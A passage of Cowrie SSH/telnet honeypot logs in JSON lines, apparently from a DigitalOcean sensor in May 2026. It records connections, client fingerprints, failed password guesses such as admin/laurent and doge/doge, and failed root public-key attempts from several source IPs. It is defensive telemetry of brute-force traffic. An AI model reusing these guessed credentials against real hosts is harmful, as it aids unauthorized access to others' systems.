fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:52:18.416335Z","src_ip":"193.32.162.145","session":"07370ed66a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"postgres","message":"login attempt [solana/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:52:18.707197Z","src_ip":"193.32.162.145","session":"07370ed66a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:52:19.836825Z","src_ip":"193.32.162.145","session":"07370ed66a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":40254,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e8ab46eaddf","protocol":"telnet","message":"New connection: 180.235.129.180:40254 (10.17.0.5:23) [session: 2e8ab46eaddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:26.626973Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":49426,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c7cdff576f","protocol":"ssh","message":"New connection: 190.244.39.224:49426 (10.17.0.5:22) [session: 46c7cdff576f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:41.866371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:41.870530Z","src_ip":"190.244.39.224","session":"46c7cdff576f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:42.068123Z","src_ip":"190.244.39.224","session":"46c7cdff576f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"laurent","message":"login attempt [admin/laurent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:42.900138Z","src_ip":"190.244.39.224","session":"46c7cdff576f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.167.249.94","src_port":40960,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d7f191ed94c","protocol":"ssh","message":"New connection: 109.167.249.94:40960 (10.17.0.5:22) [session: 4d7f191ed94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:43.880949Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:53:44.104820Z","src_ip":"190.244.39.224","session":"46c7cdff576f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.25878834724426,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:54:16.885616Z","src_ip":"180.235.129.180","session":"2e8ab46eaddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53052,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d3bb95e775b","protocol":"ssh","message":"New connection: 193.32.162.145:53052 (159.203.135.109:22) [session: 8d3bb95e775b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:54:24.887014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:54:24.892237Z","src_ip":"193.32.162.145","session":"8d3bb95e775b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:54:24.989604Z","src_ip":"193.32.162.145","session":"8d3bb95e775b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:54:25.281125Z","src_ip":"193.32.162.145","session":"8d3bb95e775b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:54:26.380656Z","src_ip":"193.32.162.145","session":"8d3bb95e775b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.22","src_port":2184,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5035c24522a","protocol":"ssh","message":"New connection: 103.75.71.22:2184 (10.17.0.5:22) [session: d5035c24522a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:36.802329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:36.806656Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:36.930315Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:46:df:bc:67:70:97:97:e4:c3:e1:2d:e7:b4:3f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdCo101Sy8RY7TSow+hZ4RdO/smRPARIq4L/tqDs+KknnxHndBZTzTSQTqrZJ3qwIa8lcwQo07iwcOHirkHfiAmYbvY2r6H93EOrqI8BbAGD2c79BuOkJBQ84RSpVj68yWsmmv2Fp1X7qnfuW7+QuC0mzbwATpi0a8097DLPnLVdc2Pli1RTxxWdeaj8AXuC0EODl1CdIOHJ9UAdGvKy4cM1XHFtxDzz++25zkqskpeQfZdVKyqSx1eEWn9vXWl3XmmnQTNmBjZIlgCkRuXoHMIZFw4kR4kNYAg6bsc1bNuamTDR5S7G7NAlUdUN/tLoAWpvYgNgYOWZVrJpt4SjSH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:46:df:bc:67:70:97:97:e4:c3:e1:2d:e7:b4:3f:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.501033Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:46:df:bc:67:70:97:97:e4:c3:e1:2d:e7:b4:3f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdCo101Sy8RY7TSow+hZ4RdO/smRPARIq4L/tqDs+KknnxHndBZTzTSQTqrZJ3qwIa8lcwQo07iwcOHirkHfiAmYbvY2r6H93EOrqI8BbAGD2c79BuOkJBQ84RSpVj68yWsmmv2Fp1X7qnfuW7+QuC0mzbwATpi0a8097DLPnLVdc2Pli1RTxxWdeaj8AXuC0EODl1CdIOHJ9UAdGvKy4cM1XHFtxDzz++25zkqskpeQfZdVKyqSx1eEWn9vXWl3XmmnQTNmBjZIlgCkRuXoHMIZFw4kR4kNYAg6bsc1bNuamTDR5S7G7NAlUdUN/tLoAWpvYgNgYOWZVrJpt4SjSH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.505232Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:50:be:01:ca:54:59:a9:25:78:87:b3:4a:a6:87:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDefmCRjd3bPCZX8TfeFyqrIa+Q9mrKWR735CZVTWV/ZPCKHM0hnO1K0ua0OVVmYqezyBtg6zVTqIUIxm31MUtIHCjpQnE7TgV1ITht+aigMnl5TTyXGA7976NsCHzHdfWr3A1UfFUIQHMkR44zVFSFUZ0liNlpw7pTd3gKs6WDewzBR8ujvjf2nWWAvDhj20QpDW42bC+DCuEhJpucpwAlz8W6VYqT6B30XRYd8+5EoAwfGWRKCXNZFeahqM1gYi1kSOdmrMoQ/Iu1ATcPPeXRAWuLzPzYsOpNI1zlUPQeKGxyIPPvL7FG03Azf/nbOwm/Gwu3XrzQJ5zT/lqM55+bSlvr+Ru9vnp5YuLEjzc5pjKr40Q+LGV3qcgiuDfgukBzZRrQVtgROXldyKVWrosWSlAR5PPH+TnpB81/0qSjgOsS6WMJG5atkgzH/5L80GKiFR3HebKwAuhJwHCV001i2zF5+6B7iAVU8pWMV9cxx/MK9iVJlTHbn0vidR8rZf12QqBEv9A5essj0gSx4lCb7OEQaZ4my5+hNKttvRxT6XYrJw6DzP5YXxUN54n49GZEkCFkP39zUVkAoDaZDV6B3WAXWeKWG5UkS+9wjVZwYpYhodXiUzC9DuSVB0y2zm2gdaVhbeRy+ZD7Ad7yeDCykO/Og+mdVFWtKoJxrHmdtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:50:be:01:ca:54:59:a9:25:78:87:b3:4a:a6:87:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.625570Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:50:be:01:ca:54:59:a9:25:78:87:b3:4a:a6:87:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDefmCRjd3bPCZX8TfeFyqrIa+Q9mrKWR735CZVTWV/ZPCKHM0hnO1K0ua0OVVmYqezyBtg6zVTqIUIxm31MUtIHCjpQnE7TgV1ITht+aigMnl5TTyXGA7976NsCHzHdfWr3A1UfFUIQHMkR44zVFSFUZ0liNlpw7pTd3gKs6WDewzBR8ujvjf2nWWAvDhj20QpDW42bC+DCuEhJpucpwAlz8W6VYqT6B30XRYd8+5EoAwfGWRKCXNZFeahqM1gYi1kSOdmrMoQ/Iu1ATcPPeXRAWuLzPzYsOpNI1zlUPQeKGxyIPPvL7FG03Azf/nbOwm/Gwu3XrzQJ5zT/lqM55+bSlvr+Ru9vnp5YuLEjzc5pjKr40Q+LGV3qcgiuDfgukBzZRrQVtgROXldyKVWrosWSlAR5PPH+TnpB81/0qSjgOsS6WMJG5atkgzH/5L80GKiFR3HebKwAuhJwHCV001i2zF5+6B7iAVU8pWMV9cxx/MK9iVJlTHbn0vidR8rZf12QqBEv9A5essj0gSx4lCb7OEQaZ4my5+hNKttvRxT6XYrJw6DzP5YXxUN54n49GZEkCFkP39zUVkAoDaZDV6B3WAXWeKWG5UkS+9wjVZwYpYhodXiUzC9DuSVB0y2zm2gdaVhbeRy+ZD7Ad7yeDCykO/Og+mdVFWtKoJxrHmdtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.630469Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:dd:c4:ce:06:4b:ff:0e:62:52:bc:02:a9:c8:51:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV/Ruc86dWUxNrplkafvAmYONiB9gIgCKk9v4KmA181vmKo2iKhliTFDY0+Kt1lg49Cy+ErY53mmACIx0HNcPjv7bQ+UwOeQMpIoQB6WseYqHP8NPzOVJnTmbshA5WwIj4cnTpr70au8kXlnuqsRkcUghBPKBNxyPs/1Y7YHgjp29fRkIND18R5xnmVCCZraYoXcuxq0ZMbdka2rSxpSBzNqFMKWZKG73s6BCxVCFZ0Pz6OxAJdkoIzpTq2JYNcgXbbAAcvW84pEBQmOeUMtnivK0AvOMII9EqIi3hZlXRw5SnBxRbMAeIjxerGaTgq934am5NSuRKt2zXb2HSn4DPLTm86txjjRozNyx5y4LOu0lHtbF6RW7ZvwT1848a9Y5ZrjgntkyCMv115qVwGeywEr+A1cEL3pxPn/4Q7HTUmsUeSxS0phxqHc5s+hXPAOqAf9dhH6Pkm5zQTmo+ueRDX1Pr4jmRgL9ek5RntKZcBRWKozSmWa7pvegrF7ys/ZrDoQNlIip5CExs/TvwnPHsAMn9sKm9JgVsesKtSPjdUj4+nObd3r6O2slo6FggCEt3a9N+R0YVLB/LpxdBSwn4ossDjqixSm1yptwNE0/PrKl6wr87aJHuvUFwg+ztppvx9fTj4YP4P71QR4KqwV59IJjmtuYXdbKvROwI+FNCXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:dd:c4:ce:06:4b:ff:0e:62:52:bc:02:a9:c8:51:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.754711Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:dd:c4:ce:06:4b:ff:0e:62:52:bc:02:a9:c8:51:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV/Ruc86dWUxNrplkafvAmYONiB9gIgCKk9v4KmA181vmKo2iKhliTFDY0+Kt1lg49Cy+ErY53mmACIx0HNcPjv7bQ+UwOeQMpIoQB6WseYqHP8NPzOVJnTmbshA5WwIj4cnTpr70au8kXlnuqsRkcUghBPKBNxyPs/1Y7YHgjp29fRkIND18R5xnmVCCZraYoXcuxq0ZMbdka2rSxpSBzNqFMKWZKG73s6BCxVCFZ0Pz6OxAJdkoIzpTq2JYNcgXbbAAcvW84pEBQmOeUMtnivK0AvOMII9EqIi3hZlXRw5SnBxRbMAeIjxerGaTgq934am5NSuRKt2zXb2HSn4DPLTm86txjjRozNyx5y4LOu0lHtbF6RW7ZvwT1848a9Y5ZrjgntkyCMv115qVwGeywEr+A1cEL3pxPn/4Q7HTUmsUeSxS0phxqHc5s+hXPAOqAf9dhH6Pkm5zQTmo+ueRDX1Pr4jmRgL9ek5RntKZcBRWKozSmWa7pvegrF7ys/ZrDoQNlIip5CExs/TvwnPHsAMn9sKm9JgVsesKtSPjdUj4+nObd3r6O2slo6FggCEt3a9N+R0YVLB/LpxdBSwn4ossDjqixSm1yptwNE0/PrKl6wr87aJHuvUFwg+ztppvx9fTj4YP4P71QR4KqwV59IJjmtuYXdbKvROwI+FNCXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.764206Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:0f:c3:db:9a:92:0c:59:3c:d7:2e:1d:59:03:42:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCloC6Cz0PQ0fFYT8op1T4YdLn+OzpPiN+m6reHWLnal1NqrWMJeMqVjBw6PaHT5Zie5Srp3DY//yqNa/z/e04QP660Xiq9Cxo5mZdMQnp434qA+bM9l7VZpPV6ZVXQ8OVk377Gg/4ZSGwKzQZEY6YKMZdd39dTjnmCImNzKn99Ycn98KABmGDuXgGPsBPG8xGceKYAu/s+Lq4lQypjdyq1j1ZeUzL0vnej99gR/z1wL4MurJH9ikZ77BLykH+SmLaZkriYo5MqfKW0Iwi6gnshz0FFybmen5mAEaANBAYhIoTt8muXWm+cm0qGkqotLwhv+e/r76An4YuAPIhy+25/vll5Rb92kLtFbxCVRJm8+N2TGKSSgt/837D0jKtBvJSVn1Azb15/GNKq+Qjm/qN3hXKkX/2wdg9yfDpFsknqr6eSFr9LCoRo99AtwcmHeoDxNxFgvGKw+xSsx9V/91H2VRFRJOe1Eo17DIxC1TZml0zI9BJIGVoStJ7DGWEOL2n3+7d4hXaoBx5QACJtki7FkeL4OKNJnGe2tgugaW1UlTtlxBeYESAsYUjsSCYtBl8iyJhJZOWk8zFRSraT8jiGBy/SAbZSVp8m3R6GkYTooHM3yOTJAwHkWOMdKnlG3rOIopk3DR0kpEZ+UwOVV3hqmUG8Q1v7+DJrGOYabCdZCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:0f:c3:db:9a:92:0c:59:3c:d7:2e:1d:59:03:42:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.887206Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:0f:c3:db:9a:92:0c:59:3c:d7:2e:1d:59:03:42:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCloC6Cz0PQ0fFYT8op1T4YdLn+OzpPiN+m6reHWLnal1NqrWMJeMqVjBw6PaHT5Zie5Srp3DY//yqNa/z/e04QP660Xiq9Cxo5mZdMQnp434qA+bM9l7VZpPV6ZVXQ8OVk377Gg/4ZSGwKzQZEY6YKMZdd39dTjnmCImNzKn99Ycn98KABmGDuXgGPsBPG8xGceKYAu/s+Lq4lQypjdyq1j1ZeUzL0vnej99gR/z1wL4MurJH9ikZ77BLykH+SmLaZkriYo5MqfKW0Iwi6gnshz0FFybmen5mAEaANBAYhIoTt8muXWm+cm0qGkqotLwhv+e/r76An4YuAPIhy+25/vll5Rb92kLtFbxCVRJm8+N2TGKSSgt/837D0jKtBvJSVn1Azb15/GNKq+Qjm/qN3hXKkX/2wdg9yfDpFsknqr6eSFr9LCoRo99AtwcmHeoDxNxFgvGKw+xSsx9V/91H2VRFRJOe1Eo17DIxC1TZml0zI9BJIGVoStJ7DGWEOL2n3+7d4hXaoBx5QACJtki7FkeL4OKNJnGe2tgugaW1UlTtlxBeYESAsYUjsSCYtBl8iyJhJZOWk8zFRSraT8jiGBy/SAbZSVp8m3R6GkYTooHM3yOTJAwHkWOMdKnlG3rOIopk3DR0kpEZ+UwOVV3hqmUG8Q1v7+DJrGOYabCdZCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:37.891676Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:86:be:f4:0e:7f:dd:9d:dc:56:5e:75:d4:8f:af:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2CEchydUiRjpqCeRUBH4zV5IfvKXflIbQQ9kY20uyoyOF0K3q0Dhf8UghVr5bsFwiGzjUp8omAoBe7kcyls6vlVvJ7TPYlBDrJsPHeHzQ8JMHCNZCtjbIsFResdz/oY/q67+4c1/PbR+gZSHa1iCbM50tlhAzjLsC7UZqtk+R6KTlS0sTUKz8UNEixRKw4l1zlbAncpyQHQygv8jYIAp6KYza/vUVdEH3vc17cXhTp9PSzRCRMA1REsIoH3WAjC26wIUGJ/SaMC62VVqPCaqgyQjDAvFkCCYvL5B4MDCOby7wgSzQzhiJjr91FzG4uxWhZQ9ZjR+q8dxR3uqEd2ILQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:86:be:f4:0e:7f:dd:9d:dc:56:5e:75:d4:8f:af:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:38.017563Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:86:be:f4:0e:7f:dd:9d:dc:56:5e:75:d4:8f:af:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2CEchydUiRjpqCeRUBH4zV5IfvKXflIbQQ9kY20uyoyOF0K3q0Dhf8UghVr5bsFwiGzjUp8omAoBe7kcyls6vlVvJ7TPYlBDrJsPHeHzQ8JMHCNZCtjbIsFResdz/oY/q67+4c1/PbR+gZSHa1iCbM50tlhAzjLsC7UZqtk+R6KTlS0sTUKz8UNEixRKw4l1zlbAncpyQHQygv8jYIAp6KYza/vUVdEH3vc17cXhTp9PSzRCRMA1REsIoH3WAjC26wIUGJ/SaMC62VVqPCaqgyQjDAvFkCCYvL5B4MDCOby7wgSzQzhiJjr91FzG4uxWhZQ9ZjR+q8dxR3uqEd2ILQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:38.022193Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:38.142416Z","src_ip":"103.75.71.22","session":"d5035c24522a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:55:43.888658Z","src_ip":"109.167.249.94","session":"4d7f191ed94c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40167,"dst_ip":"10.17.0.5","dst_port":22,"session":"1faae2c69a64","protocol":"ssh","message":"New connection: 2.57.121.25:40167 (10.17.0.5:22) [session: 1faae2c69a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:33.926956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:56:33.931714Z","src_ip":"2.57.121.25","session":"1faae2c69a64","protocol":"ssh"}
